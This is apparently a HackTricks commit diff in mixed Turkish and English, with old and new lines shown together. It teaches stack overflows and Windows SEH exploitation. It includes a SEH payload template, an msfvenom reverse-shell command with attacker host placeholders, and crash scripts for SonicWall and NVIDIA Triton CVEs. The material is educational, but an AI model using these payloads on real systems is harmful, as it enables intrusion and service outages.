maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/windows-hardening/authentication-credentials-uac-and-ef

Browse Source
This commit is contained in:
Translator 2025-08-28 20:23:21 +00:00
parent 02955f5b6e
commit 41a2c921ce
4 changed files with 337 additions and 124 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
src/SUMMARY.md
View File

@ -779,6 +779,7 @@
- [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
- [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
- [Synology Encrypted Archive Decryption](hardware-physical-access/firmware-analysis/synology-encrypted-archive-decryption.md)
- [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md)
- [Array Indexing](binary-exploitation/array-indexing.md)
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
- [Integer Overflow](binary-exploitation/integer-overflow.md)

114
src/binary-exploitation/stack-overflow/README.md
View File

@ -2,17 +2,25 @@
{{#include ../../banners/hacktricks-training.md}}
## Stack Overflow Nedir
## What is a Stack Overflow
Bir **stack overflow**, bir programın yığın (stack) belleğine tahsis edilen miktardan daha fazla veri yazdığında meydana gelen bir güvenlik açığıdır. Bu fazla veri, **komşu bellek alanını üzerine yazarak**, geçerli verilerin bozulmasına, kontrol akışının kesintiye uğramasına ve potansiyel olarak kötü niyetli kodun çalıştırılmasına yol açar. Bu sorun genellikle, girdi üzerinde sınır kontrolü yapmayan güvensiz fonksiyonların kullanılmasından kaynaklanır.
A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **overwrite adjacent memory space**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input.
Bu üzerine yazmanın ana sorunu, **kaydedilmiş talimat işaretçisi (EIP/RIP)** ve önceki fonksiyona dönmek için **kaydedilmiş temel işaretçi (EBP/RBP)** değerlerinin **yığın üzerinde saklanmasıdır**. Bu nedenle, bir saldırgan bu değerleri üzerine yazabilir ve **programın yürütme akışını kontrol edebilir**.
Bir **stack overflow**, bir programın yığına (stack) tutulması için ayrılan alandan daha fazla veri yazması durumunda ortaya çıkan bir güvenlik açığıdır. Bu fazla veri, bitişik bellek alanını **üzerine yazarak** geçerli verinin bozulmasına, kontrol akışının bozulmasına ve potansiyel olarak kötü amaçlı kodun çalıştırılmasına yol açar. Bu sorun genellikle girdide sınır kontrolü yapmayan güvensiz fonksiyonların kullanılmasından kaynaklanır.
Güvenlik açığı genellikle bir fonksiyonun **yığının içine tahsis edilen miktardan daha fazla bayt kopyalamasından** kaynaklanır, bu nedenle yığının diğer kısımlarını üzerine yazma yeteneğine sahip olur.
The main problem of this overwrite is that the **saved instruction pointer (EIP/RIP)** and the **saved base pointer (EBP/RBP)** to return to the previous function are **stored on the stack**. Therefore, an attacker will be able to overwrite those and **control the execution flow of the program**.
Bu tür güvenlik açıklarına sahip bazı yaygın fonksiyonlar: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ayrıca, **`fgets`**, **`read` & `memcpy`** gibi **uzunluk argümanı** alan fonksiyonlar, belirtilen uzunluk tahsis edilenden büyükse, savunmasız bir şekilde kullanılabilir.
Bu üzerine yazmanın asıl sorunu, önceki fonksiyona dönmek için kullanılan **saved instruction pointer (EIP/RIP)** ve **saved base pointer (EBP/RBP)**'ın **stack'te saklanıyor** olmasıdır. Bu nedenle, bir saldırgan bunların üzerine yazarak programın yürütme akışını **kontrol edebilir**.
Örneğin, aşağıdaki fonksiyonlar savunmasız olabilir:
The vulnerability usually arises because a function **copies inside the stack more bytes than the amount allocated for it**, therefore being able to overwrite other parts of the stack.
Bu zafiyet genellikle bir fonksiyonun **stack içinde kendisi için ayrılan miktardan daha fazla byte kopyalaması** nedeniyle ortaya çıkar; böylece yığının diğer bölümlerinin üzerine yazılabilir.
Some common functions vulnerable to this are: **`strcpy`, `strcat`, `sprintf`, `gets`**... Also, functions like **`fgets`** , **`read` & `memcpy`** that take a **length argument**, might be used in a vulnerable way if the specified length is greater than the allocated one.
Bu duruma yaygın olarak hassas bazı fonksiyonlar: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ayrıca, bir **uzunluk argümanı** alan **`fgets`**, **`read`** ve **`memcpy`** gibi fonksiyonlar, belirtilen uzunluk ayrılan boyuttan büyükse savunmasız şekilde kullanılabilir.
For example, the following functions could be vulnerable:
```c
void vulnerable() {
char buffer[128];
@ -21,15 +29,15 @@ gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
```
### Stack Overflow ofsetlerini Bulma
### Finding Stack Overflows offsets
Stack overflow'ları bulmanın en yaygın yolu, çok büyük bir `A` girişi vermektir (örneğin, `python3 -c 'print("A"*1000)'`) ve **`0x41414141` adresinin erişilmeye çalışıldığını** belirten bir `Segmentation Fault` beklemektir.
The most common way to find stack overflows is to give a very big input of `A`s (e.g. `python3 -c 'print("A"*1000)'`) and expect a `Segmentation Fault` indicating that the **adres `0x41414141`'e erişilmeye çalışıldığı**.
Ayrıca, Stack Overflow zafiyetini bulduktan sonra, **geri dönüş adresini** geçersiz kılmak için gereken ofseti bulmanız gerekecek; bunun için genellikle bir **De Bruijn dizisi** kullanılır. Verilen bir _k_ boyutundaki alfabede ve _n_ uzunluğundaki alt diziler için, bu, **herhangi bir _n_ uzunluğundaki alt dizinin tam olarak bir kez göründüğü** döngüsel bir dizidir.
Moreover, once you found that there is Stack Overflow vulnerability you will need to find the offset until it's possible to **overwrite the return address**, for this it's usually used a **De Bruijn sequence.** Which for a given alphabet of size _k_ and subsequences of length _n_ is a **cyclic sequence in which every possible subsequence of length _n_ appears exactly once** as a contiguous subsequence.
Bu şekilde, EIP'yi kontrol etmek için hangi ofsetin gerektiğini elle bulmak yerine, bu dizilerden birini dolgu olarak kullanmak ve ardından onu geçersiz kılan baytların ofsetini bulmak mümkündür.
This way, instead of needing to figure out which offset is needed to control the EIP by hand, it's possible to use as padding one of these sequences and then find the offset of the bytes that ended overwriting it.
Bunun için **pwntools** kullanılabilir:
It's possible to use **pwntools** for this:
```python
from pwn import *
@ -41,47 +49,60 @@ eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
```
ve **GEF**:
veya **GEF**:
```bash
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
```
## Yığın Taşmalarını Sömürmek
## Stack Overflows'ı İstismar Etme
Bir taşma sırasında (taşma boyutunun yeterince büyük olduğunu varsayarsak) yığın içindeki yerel değişkenlerin **değerlerini** **üst üste yazma** imkanına sahip olacaksınız, bu da kaydedilmiş **EBP/RBP ve EIP/RIP'ye (veya daha fazlasına)** ulaşana kadar devam eder.\
Bu tür bir güvenlik açığını istismar etmenin en yaygın yolu, **dönüş adresini değiştirmektir**, böylece fonksiyon sona erdiğinde **kontrol akışı kullanıcının bu işaretçide belirttiği yere yönlendirilecektir**.
Bir overflow sırasında (taşma boyutu yeterince büyük varsayıldığında) stack içindeki yerel değişkenlerin değerlerini kaydedilmiş **EBP/RBP and EIP/RIP (or even more)**'e ulaşana dek **overwrite** edebileceksiniz.\
Bu tür bir açığı kötüye kullanmanın en yaygın yolu, fonksiyon sona erdiğinde **control flow**'un bu pointer'da kullanıcının belirttiği yere yönlendirilmesi için **modifying the return address** yapmaktır.
Ancak, diğer senaryolarda sadece **yığındaki bazı değişken değerlerini üst üste yazmak** istismar için yeterli olabilir (örneğin, kolay CTF zorluklarında).
Ancak, diğer senaryolarda sadece stack içindeki bazı değişken değerlerini **overwriting some variables values in the stack** yeterli olabilir (örneğin kolay CTF challenge'larında).
### Ret2win
Bu tür CTF zorluklarında, **asla çağrılmayan** ve **kazanmak için çağırmanız gereken** bir **fonksiyon** **binary** içinde bulunmaktadır. Bu zorluklar için sadece **dönüş adresini üst üste yazmak için ofseti bulmanız** ve **çağırılacak fonksiyonun adresini bulmanız** gerekir (genellikle [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) devre dışı bırakılmış olacaktır) böylece savunmasız fonksiyon döndüğünde, gizli fonksiyon çağrılacaktır:
Bu tip CTF challenge'larında binary içinde **never called** olan ve **you need to call in order to win** olan bir **function** bulunur. Bu tür challenge'larda yapmanız gereken tek şey **offset to overwrite the return address**'i bulmak ve çağırılacak **address of the function**'ı bulmaktır (genellikle [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) devre dışı bırakılmış olur) böylece vulnerable function return ettiğinde gizli function çağrılır:
{{#ref}}
ret2win/
{{#endref}}
### Yığın Shellcode
### Stack Shellcode
Bu senaryoda attacker stack'e bir shellcode yerleştirebilir ve controlled EIP/RIP'i shellcode'a atlamak ve arbitrary code çalıştırmak için kullanabilir:
Bu senaryoda, saldırgan yığında bir shellcode yerleştirebilir ve kontrol edilen EIP/RIP'i kullanarak shellcode'a atlayıp rastgele kod çalıştırabilir:
{{#ref}}
stack-shellcode/
{{#endref}}
### ROP & Ret2... teknikleri
### Windows SEH-based exploitation (nSEH/SEH)
32-bit Windows'ta, bir overflow kaydedilmiş return address yerine Structured Exception Handler (SEH) zincirini overwrite edebilir. İstismar genellikle SEH pointer'ını bir POP POP RET gadget ile değiştirir ve 4-byte'lık nSEH alanını shellcode'un bulunduğu büyük buffer'a geri pivot yapmak için kısa bir jump için kullanır. Yaygın bir desen, nSEH içinde kısa bir jmp olup bunun hemen öncesine yerleştirilmiş 5-byte'lık bir near jmp'un payload başlangıcına yüzlerce byte geri atlamasıdır.
{{#ref}}
windows-seh-overflow.md
{{#endref}}
### ROP & Ret2... techniques
Bu teknik, önceki tekniğin ana korumasını aşmak için temel çerçeveyi sağlar: **No executable stack (NX)**. Ayrıca existing instructions in the binary'yi kullanarak arbitrary komutlar çalıştıracak birçok diğer tekniği (ret2lib, ret2syscall...) gerçekleştirmeye olanak tanır:
Bu teknik, önceki tekniğin ana korumasını aşmak için temel çerçevedir: **Çalıştırılamaz yığın (NX)**. Ve mevcut talimatları istismar ederek rastgele komutlar çalıştıracak birkaç başka tekniği (ret2lib, ret2syscall...) gerçekleştirmeye olanak tanır:
{{#ref}}
../rop-return-oriented-programing/
{{#endref}}
## Yığın Taşmaları
## Heap Overflows
Bir overflow her zaman stack'te olmak zorunda değildir; örneğin **heap**'te de olabilir:
Bir taşma her zaman yığında olmayabilir, örneğin **yığın** içinde de olabilir:
{{#ref}}
../libc-heap/heap-overflow.md
@ -89,7 +110,8 @@ Bir taşma her zaman yığında olmayabilir, örneğin **yığın** içinde de o
## Koruma Türleri
Güvenlik açıklarının istismarını önlemeye çalışan çeşitli korumalar vardır, bunları kontrol edin:
Zafiyetlerin istismarını önlemeye çalışan çeşitli korumalar vardır, bunları şu yerde inceleyin:
{{#ref}}
../common-binary-protections-and-bypasses/
@ -97,33 +119,34 @@ Güvenlik açıklarının istismarını önlemeye çalışan çeşitli korumalar
### Gerçek Dünya Örneği: CVE-2025-40596 (SonicWall SMA100)
**`sscanf`'in güvenilmeyecek bir girdi ayrıştırma aracı olarak asla kullanılmaması gerektiğinin** iyi bir gösterimi, 2025 yılında SonicWall’ın SMA100 SSL-VPN cihazında ortaya çıktı. `/usr/src/EasyAccess/bin/httpd` içindeki savunmasız rutin, `/__api__/` ile başlayan herhangi bir URI'den sürüm ve uç noktayı çıkarmaya çalışmaktadır:
Neden **`sscanf` should never be trusted for parsing untrusted input** olduğunun iyi bir gösterimi 2025'te SonicWall’ın SMA100 SSL-VPN appliance'ında ortaya çıktı.
`/usr/src/EasyAccess/bin/httpd` içindeki vulnerable rutin, `/__api__/` ile başlayan herhangi bir URI'den version ve endpoint çıkarmaya çalışıyordu:
```c
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
```
1. İlk dönüşüm (`%2s`) **iki** baytı `version` içine güvenli bir şekilde depolar (örneğin, `"v1"`).
2. İkinci dönüşüm (`%s`) **uzunluk belirleyiciye sahip değildir**, bu nedenle `sscanf` **ilk NUL baytına kadar** kopyalamaya devam eder.
3. `endpoint` **stack** üzerinde yer almakta ve **0x800 bayt uzunluğunda** olduğundan, 0x800 bayttan daha uzun bir yol sağlamak, tamponun ardından gelen her şeyi bozar ‑ **stack canary** ve **kayıtlı dönüş adresi** dahil.
1. İlk dönüşüm (`%2s`) `version` içine güvenli şekilde **iki** bayt depolar (ör. `"v1"`).
2. İkinci dönüşüm (`%s`) **uzunluk belirticisi içermez**, bu yüzden `sscanf` kopyalamaya **ilk NUL byte'a kadar** devam eder.
3. Çünkü `endpoint` **stack** üzerinde bulunur ve **0x800 bayt uzunluğundadır**, 0x800'den uzun bir path sağlamak buffer'ın sonrasında bulunan her şeyi bozar ‑ buna **stack canary** ve **saved return address** da dahildir.
Kimlik doğrulamasından **önce** çöküşü tetiklemek için tek satırlık bir kanıt yeterlidir:
Tek satırlık bir proof-of-concept, çöküşü **authentication** öncesinde tetiklemek için yeterlidir:
```python
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
```
Even though stack canaries abort the process, an attacker still gains a **Denial-of-Service** primitive (and, with additional information leaks, possibly code-execution). The lesson is simple:
Stack canaries işlemi sonlandırsa bile, bir saldırgan yine de bir **Denial-of-Service** primitive elde eder (and, with additional information leaks, possibly code-execution). Ders basit:
* Always provide a **maximum field width** (e.g. `%511s`).
* Prefer safer alternatives such as `snprintf`/`strncpy_s`.
* Her zaman bir **maksimum alan genişliği** belirtin (örn. `%511s`).
* Daha güvenli alternatifleri tercih edin; örn. `snprintf`/`strncpy_s`.
### Gerçek Dünya Örneği: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIA’nin Triton Inference Server (≤ v25.06) HTTP API'si aracılığıyla erişilebilen birden fazla **stack tabanlı taşma** içeriyordu.
Hassas desen, `http_server.cc` ve `sagemaker_server.cc` dosyalarında tekrar tekrar ortaya çıktı:
NVIDIA’nin Triton Inference Server (≤ v25.06), HTTP API aracılığıyla ulaşılabilen birden fazla **stack-based overflows** içeriyordu.
Zafiyetli desen `http_server.cc` ve `sagemaker_server.cc` içinde tekrar tekrar ortaya çıkıyordu:
```c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
@ -133,11 +156,11 @@ alloca(sizeof(struct evbuffer_iovec) * n);
...
}
```
1. `evbuffer_peek` (libevent) mevcut HTTP istek gövdesini oluşturan **içsel tampon segmentlerinin sayısını** döndürür.
2. Her segment, **üst sınır olmaksızın** `alloca()` aracılığıyla **yığın** üzerinde **16 bayt** `evbuffer_iovec` tahsis edilmesine neden olur.
3. **HTTP _chunked transfer-encoding_** istismar edilerek, bir istemci isteğin **yüz binlerce 6 baytlık parçaya** (`"1\r\nA\r\n"`) bölünmesini zorlayabilir. Bu, `n`'nin yığın tükenene kadar sınırsız büyümesine neden olur.
1. `evbuffer_peek` (libevent) mevcut HTTP istek gövdesini oluşturan **dahili buffer segmentlerinin sayısını** döndürür.
2. Her segment `alloca()` aracılığıyla **stack** üzerinde **16-byte** büyüklüğünde bir `evbuffer_iovec` ayrılmasına neden olur – **herhangi bir üst sınır olmadan**.
3. Bir istemci **HTTP _chunked transfer-encoding_**'i kötüye kullanarak isteğin **yüzbinlerce 6-byte parçaya** (`"1\r\nA\r\n"`) bölünmesini sağlayabilir. Bu, `n`'in stack tükenene kadar sınırsız şekilde artmasına yol açar.
#### Kanıt-Konsept (DoS)
#### Kavram Kanıtı (DoS)
```python
#!/usr/bin/env python3
import socket, sys
@ -161,10 +184,10 @@ s.close()
if __name__ == "__main__":
exploit(*sys.argv[1:])
```
A ~3 MB isteği, kaydedilmiş dönüş adresini geçersiz kılmak ve varsayılan yapılandırmadaki daemon'u **çökmek** için yeterlidir.
Varsayılan bir derlemede yaklaşık ~3 MB'lık bir istek, kaydedilmiş dönüş adresini ezerek daemon'ı **crash** ettirmek için yeterlidir.
#### Yamanlama & Hafifletme
25.07 sürümü, güvensiz yığın tahsisini **heap destekli `std::vector`** ile değiştirir ve `std::bad_alloc`'u zarif bir şekilde işler:
#### Yama ve Hafifletme
25.07 sürümü, güvensiz stack tahsisini **heap-backed `std::vector`** ile değiştirir ve `std::bad_alloc` durumunu düzgün şekilde ele alır:
```c++
std::vector<evbuffer_iovec> v_vec;
try {
@ -175,12 +198,13 @@ return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
struct evbuffer_iovec *v = v_vec.data();
```
Öğrenilen dersler:
* Asla `alloca()`'yı saldırgan kontrolündeki boyutlarla çağırmayın.
* Parçalı istekler, sunucu tarafı tamponlarının şeklini önemli ölçüde değiştirebilir.
* Müşteri girdisinden türetilen herhangi bir değeri *kullanımdan önce* doğrulayın / sınırlayın.
* Asla `alloca()`'yı saldırgan tarafından kontrol edilen boyutlarla çağırmayın.
* Chunked requests sunucu tarafı tamponların şeklini önemli ölçüde değiştirebilir.
* İstemci girdisinden türetilen herhangi bir değeri, bellek ayırmalarında kullanmadan *önce* doğrulayın / sınırlandırın.
## Referanslar
## Kaynaklar
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
* [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
{{#include ../../banners/hacktricks-training.md}}

150
src/binary-exploitation/stack-overflow/windows-seh-overflow.md Normal file
View File

@ -0,0 +1,150 @@
# Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)
{{#include ../../banners/hacktricks-training.md}}
SEH-based exploitation, stack'ta saklanan Structured Exception Handler zincirini suistimal eden klasik bir x86 Windows tekniğidir. Bir stack buffer overflow iki 4-byte alanı overwrite ettiğinde
- nSEH: sonraki SEH kaydına işaretçi, ve
- SEH: exception handler fonksiyonuna işaretçi
bir saldırgan yürütmeyi şu şekilde ele geçirebilir:
1) SEH'yi non-protected bir modüldeki POP POP RET gadget'inin adresine ayarlamak, böylece bir exception dispatch edildiğinde gadget saldırgan-kontrollü baytlara döner, ve
2) nSEH'yi kullanarak yürütmeyi (genellikle bir short jump) shellcode'un bulunduğu büyük taşan buffer'a geri yönlendirmek.
Bu teknik 32-bit süreçlere (x86) özgüdür. Modern sistemlerde gadget için SafeSEH ve ASLR olmayan bir modül tercih edin. Kötü karakterler genellikle C-strings ve HTTP parsing nedeniyle 0x00, 0x0a, 0x0d (NUL/CR/LF) gibi değerleri içerir.
---
## Tam offsetleri bulma (nSEH / SEH)
- Process'i çökertin ve SEH zincirinin overwrite edildiğini doğrulayın (ör., x32dbg/x64dbg'de SEH view'i kontrol edin).
- Taşan veri olarak bir cyclic pattern gönderin ve nSEH ile SEH'ye düşen iki dword'un offsetlerini hesaplayın.
Example with peda/GEF/pwntools on a 1000-byte POST body:
```bash
# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
# or
python3 -c "from pwn import *; print(cyclic(1000).decode())"
# after crash, note the two 32-bit values from SEH view and compute offsets
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
# ➜ offsets example: nSEH=660, SEH=664
```
Doğrulamak için bu pozisyonlara işaretleyiciler yerleştirin (ör. nSEH=b"BB", SEH=b"CC"). Çöküşün yeniden üretilebilir olması için toplam uzunluğu sabit tutun.
---
## POP POP RET (SEH gadget) seçimi
SEH çerçevesini açmak ve nSEH baytlarınıza dönmek için bir POP POP RET dizisine ihtiyacınız var. Bunu SafeSEH olmayan ve tercihen ASLR'siz bir modülde bulun:
- Mona (Immunity/WinDbg): `!mona modules` ardından `!mona seh -m modulename`.
- x64dbg plugin ERC.Xdbg: `ERC --SEH` POP POP RET gadgets ve SafeSEH durumunu listelemek için.
Küçük-endian yazıldığında badchars içermeyen bir adres seçin (ör. `p32(0x004094D8)`). Koruma mekanizmaları izin veriyorsa gadget'ları vulnerable binary içinde tercih edin.
---
## Geri atlama tekniği (short + near jmp)
nSEH sadece 4 bayttır; bu en fazla 2 baytlık bir short jump (`EB xx`) artı dolguya sığar. Buffer başlangıcınıza ulaşmak için yüzlerce bayt geri atlamanız gerekiyorsa, nSEH'den hemen önce yerleştirilmiş 5 baytlık bir near jump kullanın ve nSEH'den yapılan short jump ile ona zincirleyin.
nasmshell ile:
```text
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
E967FDFFFF
nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
EBF6
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF
```
nSEH'nin offset 660'da olduğu 1000-byte payload için düzen fikri:
```python
buffer_length = 1000
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding
payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))
```
Çalışma akışı:
- İstisna oluşur, dispatcher üzerine yazılmış SEH'yi kullanır.
- POP POP RET, nSEH'imize geri sarılır.
- nSEH, 5 baytlık near jump içine `jmp short -8` çalıştırır.
- Near jump, buffer'ımızın başına iner; burası NOP sled + shellcode'un bulunduğu yerdir.
---
## Bad characters
Tam bir badchar dizisi oluşturun ve çökme sonrası stack belleğini karşılaştırarak hedef parser tarafından bozulmuş byte'ları çıkarın. HTTP tabanlı overflows için, `\x00\x0a\x0d` neredeyse her zaman hariç tutulur.
```python
badchars = bytes([x for x in range(1,256)])
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
```
---
## Shellcode generation (x86)
msfvenom'i badchars ile kullanın. Küçük bir NOP sled, iniş konumu sapmalarını tolere etmeye yardımcı olur.
```bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc
```
Eğer anında oluşturuluyorsa, hex formatı Python'da gömmek ve unhex yapmak için kullanışlıdır:
```bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex
```
---
## HTTP üzerinden gönderme (kesin CRLF + Content-Length)
Zafiyet vektörü bir HTTP request body olduğunda, sunucunun taşan gövdenin tamamını okuması için kesin CRLFs ve Content-Length ile ham bir istek oluşturun.
```python
# pip install pwntools
from pwn import remote
host, port = "<TARGET_IP>", 8080
body = b"A" * 1000 # replace with the SEH-aware buffer above
req = f"""POST / HTTP/1.1
Host: {host}:{port}
User-Agent: curl/8.5.0
Accept: */*
Content-Length: {len(body)}
Connection: close
""".replace('\n','\r\n').encode() + body
p = remote(host, port)
p.send(req)
print(p.recvall(timeout=0.5))
p.close()
```
---
## Araçlar
- x32dbg/x64dbg ile SEH zincirini gözlemlemek ve çöküşü değerlendirmek.
- ERC.Xdbg (x64dbg eklentisi) ile SEH gadgets'larını listelemek: `ERC --SEH`.
- Alternatif olarak Mona: `!mona modules`, `!mona seh`.
- Kısa/near jump'ları assemble etmek ve ham opcode'ları kopyalamak için nasmshell.
- Hassas ağ payload'ları oluşturmak için pwntools.
---
## Notlar ve uyarılar
- Sadece x86 prosesleri için geçerlidir. x64 farklı bir SEH şeması kullanır ve SEH-based exploitation genellikle mümkün değildir.
- SafeSEH ve ASLR olmayan modüllerdeki gadgets'ları tercih edin; aksi takdirde, süreçte yüklü korumasız bir modül bulun.
- Çökme sonrası otomatik yeniden başlatma yapan service watchdog'ları, iterative exploit development'i kolaylaştırabilir.
## Referanslar
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
- [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg)
- [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/)
- [Mona.py – WinDbg/Immunity helper](https://github.com/corelan/mona)
{{#include ../../banners/hacktricks-training.md}}

196
src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md
View File

@ -1,49 +1,49 @@
# UAC - Kullanıcı Hesabı Kontrolü
# UAC - Kullanıcı Hesap Denetimi
{{#include ../../banners/hacktricks-training.md}}
## UAC
[Kullanıcı Hesabı Kontrolü (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works), **yükseltilmiş aktiviteler için onay istemi** sağlayan bir özelliktir. Uygulamalar farklı `integrity` seviyelerine sahiptir ve **yüksek seviyeye** sahip bir program, **sistemi potansiyel olarak tehlikeye atabilecek** görevleri yerine getirebilir. UAC etkinleştirildiğinde, uygulamalar ve görevler her zaman **bir yönetici hesabının güvenlik bağlamında çalışır**; yönetici, bu uygulamaların/görevlerin sisteme yönetici düzeyinde erişim izni vermediği sürece. Bu, yöneticileri istenmeyen değişikliklerden koruyan bir kolaylık özelliğidir, ancak bir güvenlik sınırı olarak kabul edilmez.
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) bir uygulamadır ve **yükseltilmiş işlemler için onay istemi** sağlar. Uygulamaların farklı `integrity` seviyeleri vardır ve **yüksek seviye** bir program sisteme **potansiyel olarak zarar verebilecek** görevleri gerçekleştirebilir. UAC etkin olduğunda, bir yönetici açıkça bu uygulama/görevlere yönetici düzeyinde erişim yetkisi vermedikçe uygulamalar ve görevler her zaman **bir yönetici olmayan hesabın güvenlik bağlamı altında** çalışır. Bu, yöneticileri istem dışı değişikliklerden koruyan bir kolaylık özelliğidir ancak bir güvenlik sınırı olarak kabul edilmez.
Integrity seviyeleri hakkında daha fazla bilgi için:
Daha fazla bilgi için integrity seviyeleri hakkında:
{{#ref}}
../windows-local-privilege-escalation/integrity-levels.md
{{#endref}}
UAC uygulandığında, bir yönetici kullanıcıya 2 jeton verilir: standart kullanıcı anahtarı, normal seviyede düzenli işlemler gerçekleştirmek için ve yönetici ayrıcalıkları olan bir jeton.
UAC etkin olduğunda, bir yönetici kullanıcıya 2 token verilir: normal işlemler için standart bir kullanıcı token'ı ve yönetici ayrıcalıkları içeren bir token.
Bu [sayfa](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works), UAC'nin nasıl çalıştığını derinlemesine tartışmakta ve oturum açma süreci, kullanıcı deneyimi ve UAC mimarisini içermektedir. Yöneticiler, UAC'nin kendi organizasyonlarına özgü nasıl çalıştığını yerel düzeyde (secpol.msc kullanarak) veya bir Active Directory alan ortamında Grup İlkesi Nesneleri (GPO) aracılığıyla yapılandırıp dağıtmak için güvenlik politikalarını kullanabilirler. Çeşitli ayarlar detaylı olarak [burada](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings) tartışılmaktadır. UAC için ayarlanabilecek 10 Grup İlkesi ayarı vardır. Aşağıdaki tablo ek detaylar sağlamaktadır:
Bu [sayfa](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) UAC'nin nasıl çalıştığını derinlemesine tartışır ve oturum açma süreci, kullanıcı deneyimi ve UAC mimarisini içerir. Yöneticiler, UAC'nin kuruluşlarına özel nasıl çalışacağını yerel düzeyde güvenlik ilkeleriyle (secpol.msc kullanarak) yapılandırabilir veya Active Directory alan ortamında Group Policy Objects (GPO) aracılığıyla dağıtabilir. Çeşitli ayarlar [burada](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings) ayrıntılı olarak tartışılmaktadır. UAC için ayarlanabilecek 10 Grup İlkesi ayarı vardır. Aşağıdaki tablo ek ayrıntı sağlar:
| Grup İlkesi Ayarı | Kayıt Anahtarı | Varsayılan Ayar |
| Grup İlkesi Ayarı | Registry Key | Varsayılan Ayar |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
| [Kullanıcı Hesabı Kontrolü: Yerleşik Yönetici hesabı için Yönetici Onay Modu](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Devre Dışı |
| [Kullanıcı Hesabı Kontrolü: UIAccess uygulamalarının güvenli masaüstünü kullanmadan yükseltme istemesi](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Devre Dışı |
